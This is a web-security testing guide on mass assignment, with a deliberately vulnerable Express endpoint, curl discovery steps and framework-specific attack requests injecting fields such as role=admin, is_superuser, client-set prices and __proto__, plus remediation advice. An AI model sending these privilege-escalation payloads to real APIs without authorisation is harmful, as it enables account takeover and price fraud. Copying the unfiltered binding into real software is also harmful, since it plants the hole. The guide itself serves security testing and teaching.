9 min read

Mass Assignment

Mass assignment (also called autobinding or object injection) occurs when an application automatically binds HTTP request parameters to internal model properties. By adding extra fields to a request, attackers can modify properties not intended to be user-editable — such as role, isAdmin, price, or balance.

Mass assignment is the canonical case of API3:2023 Broken Object Property Level Authorization (BOPLA) in the OWASP API Security Top 10 and is tracked as CWE-915. It is the property-level cousin of IDOR: IDOR crosses object boundaries, mass assignment crosses property boundaries within an object you own.

Danger

Mass assignment attacks are extremely common in modern frameworks (Rails, Django, Laravel, Spring, Express). The vulnerability is in the application logic, not the framework itself.

Frameworks: WSTG v5 4.7.20 (Mass Assignment) · ASVS 5.0 V15.3.3 · CWE-915 · T1190

How Mass Assignment Works

Every framework here does the same thing: it takes a request body, maps keys to object properties by name, and writes the ones it finds. The vulnerability is never the mapper — it is the absence of a decision about which properties are writable. Rails calls that decision strong parameters, Django ModelForm.fields, Laravel $fillable, Spring setAllowedFields, ASP.NET [Bind(Include=…)]. Where the list is missing or empty — permit!, fields = '__all__', $guarded = [] — the request body becomes the write set.

Vulnerable Code Example (Node.js/Express)

The application updates the user model by spreading all request body fields directly:

mass-assignment-express.js
// Vulnerable Express.js endpoint
app.put('/api/user/profile', (req, res) => {
  // DANGEROUS: Binds ALL request fields to the user object
  User.findByIdAndUpdate(req.user.id, req.body, { new: true })
    .then(user => res.json(user));
});

// Normal request:
PUT /api/user/profile
{"name": "John", "email": "john@example.com"}

// Attack request — adding unauthorized fields:
PUT /api/user/profile
{"name": "John", "email": "john@example.com", "role": "admin", "isVerified": true}

The precondition is that the bound object has a field the attacker wants and the caller does not legitimately control. That is why role, is_admin, owner_id, balance and email_verified are the interesting names: they exist on the model, they come back from the read endpoint, and no UI ever submits them. If the request is bound to a DTO that has none of those fields, there is nothing to escalate.

Read-Only vs Writable Fields

The distinction is between read-only and writable, and it is a property of the server's binding rule, not of the JSON you can see. Three mistakes produce most findings: a field hidden from responses is assumed protected on write (serialisation and binding are different layers); a field marked readOnly in the OpenAPI document is trusted as enforcement (that is documentation); and a field is protected on create but not on update, where the same model is bound from a different DTO.

Field class Examples User-writable?
Identity and provenance id, owner_id, tenant_id, created_at No — server-assigned
Authorisation and state role, is_admin, verified, balance No — privileged transition
Profile data name, email, locale, avatar_url Yes — the intended write set

Discovery Techniques

The loop is read, inject, re-read. A response that returns role tells you the field exists; a PATCH that includes it tells you whether the binder accepts it; a second GET tells you whether it persisted. Anything that changes between the first and third step is the finding. Send one field at a time so you can attribute the change, and try both camelCase and snake_case.

mass-assignment-discovery.sh
# Step 1: Find hidden fields by reading responses
# Make a GET request and note all returned fields:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .
# Response:
# {
#   "id": 123,
#   "name": "John",
#   "email": "john@example.com",
#   "role": "user",       ← interesting!
#   "isAdmin": false,    ← interesting!
#   "balance": 100,      ← interesting!
#   "verified": true
# }

# Step 2: Try adding these fields to an update request:
curl -X PUT https://target.com/api/user/profile \
  -H 'Authorization: Bearer TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"name": "John", "role": "admin"}'

# Step 3: Check if the field was modified:
curl -s https://target.com/api/user/profile -H 'Authorization: Bearer TOKEN' | jq .role
# If output is "admin" → mass assignment confirmed!

# Step 4: Try common privileged fields:
# role, isAdmin, is_admin, admin, privilege, permissions
# verified, email_verified, is_verified, active
# balance, credits, price, discount
# password, password_hash (in some frameworks)
# created_at, updated_at (timestamp manipulation)

Framework-Specific Attacks

Each framework fails in its own dialect. Rails binds nested user[...] hashes and only permit limits them; Django's ModelForm binds every field listed in fields, and fields = '__all__' undoes the protection; Laravel's $guarded = [] disables the guard entirely; Spring's @ModelAttribute binds every matching request parameter unless an @InitBinder restricts it; ASP.NET's [Bind] without Include binds every public property. The block below is a lookup table, not five separate attacks.

framework-autobinding.http
# Ruby on Rails:
# Look for params.permit() to see what's allowed
# Try adding fields not in the permit list:
POST /users
user[name]=John&user[email]=john@test.com&user[admin]=true

# Django (Python):
# If using ModelForm without Meta.fields or exclude:
POST /register/
username=john&email=john@test.com&is_staff=true&is_superuser=true

# Laravel (PHP):
# If the model has $guarded = [] (empty guard):
POST /api/user
{"name": "John", "is_admin": 1}

# Spring Boot (Java):
# If using @ModelAttribute without @InitBinder whitelist:
POST /user/update
name=John&email=john@test.com&roles=ADMIN

# ASP.NET:
# If using [Bind] without Include/Exclude:
POST /User/Edit
Name=John&Email=john@test.com&IsAdmin=true

Advanced Scenarios

Nested binding is where allow-lists leak. A permitted address object can still carry sub-properties nobody considered, and a permitted items array can carry a client-supplied price the server later trusts. GraphQL is the same problem with a schema: if the input type exposes role, the resolver binds it. The __proto__ key below is prototype pollution rather than mass assignment — the same unrestricted binder usually permits both, but they are separate findings.

advanced-mass-assignment.http
# Nested object injection:
PUT /api/user/profile
{
  "name": "John",
  "address": {
    "street": "123 Main St",
    "__proto__": {"isAdmin": true}
  }
}

# Array manipulation:
POST /api/order
{
  "items": [{"id": 1, "quantity": 1, "price": 0.01}]
}
# Override server-side price with client-supplied price

# Registration with role assignment:
POST /api/register
{
  "username": "attacker",
  "password": "password123",
  "email": "attacker@test.com",
  "role_id": 1,
  "group_id": 1
}

# GraphQL mass assignment:
mutation {
  updateUser(input: {
    name: "John"
    role: "ADMIN"
    verified: true
  }) {
    id
    name
    role
  }
}

Testing Checklist

  • ☐ 1. Read API responses to discover all model fields (especially role, admin, balance, verified)
  • ☐ 2. Check API documentation (Swagger/OpenAPI) for model schemas with editable vs read-only fields
  • ☐ 3. Add extra fields to update/create requests and check if they persist
  • ☐ 4. Test registration endpoints for role/privilege escalation
  • ☐ 5. Test nested objects and array parameters
  • ☐ 6. Check if GraphQL mutations accept unauthorized fields
  • ☐ 7. Compare user-role vs admin-role responses to identify hidden fields
  • ☐ 8. Test the update path separately from create — the same model is often bound by two different DTOs
  • ☐ 9. Re-read the object after each attempt; a field accepted but not persisted is not a finding

Evidence Collection

Before: GET response showing original field values (role: user, isAdmin: false)

Attack Request: PUT/POST request with injected fields

After: GET response showing modified field values (role: admin, isAdmin: true)

Binding Rule: The server-side allow-list (or its absence): <code>permit</code> list, <code>ModelForm.fields</code>, <code>$fillable</code>, <code>setAllowedFields</code>, <code>[Bind]</code>

CVSS Range: Privilege escalation: 8.1–9.8 | Price manipulation: 6.5–8.6

Remediation

  • • Allowlist fields: Explicitly define which fields can be set by user input (Rails: params.permit(:name, :email)).
  • • Use DTOs: Map requests to Data Transfer Objects with only user-editable fields, never bind directly to database models.
  • • Read-only decorators: Mark sensitive fields as read-only in the model/schema.
  • • Validate on the server: Never trust client-side field restrictions — always enforce on the backend.
  • • Reject unknown fields: Fail the request on unrecognised properties instead of ignoring them (Spring Boot spring.jackson.deserialization.fail-on-unknown-properties=true, NestJS forbidNonWhitelisted) so probing is visible in logs.
  • • One DTO per operation: A create DTO and an update DTO, each listing writable fields, so a field added to the model is never writable by default.
  • • Test the negative case: Add a unit test that posts role=admin to every registration and profile route and asserts it is ignored or rejected.

False Positive Identification

  • Parameter accepted but not stored: The API accepting extra fields in the request doesn't mean they're persisted — verify by fetching the resource and checking if the injected field was saved.
  • Intended bulk update: Some APIs allow setting multiple fields intentionally (e.g., PATCH with partial updates) — focus on fields that should be restricted (role, admin, verified).
  • Default values vs. injection: A field returning a default value (e.g., role=user) may not mean your injection worked — test with a non-default value to confirm.
  • Serialisation is not binding: A field absent from the response may still be writable, and a field present in the response may be read-only. Test the write path directly rather than inferring from the schema.
  • Prototype pollution is a different bug: A <code>__proto__</code> key that changes behaviour in the process is prototype pollution (CWE-1321), not mass assignment (CWE-915). Report them separately.

Mass Assignment Practice

Discover hidden object properties and escalate through them on API labs.

PortSwigger — API Testing Labs PortSwigger medium
Hidden parameter discoveryPrivilege escalation via object fields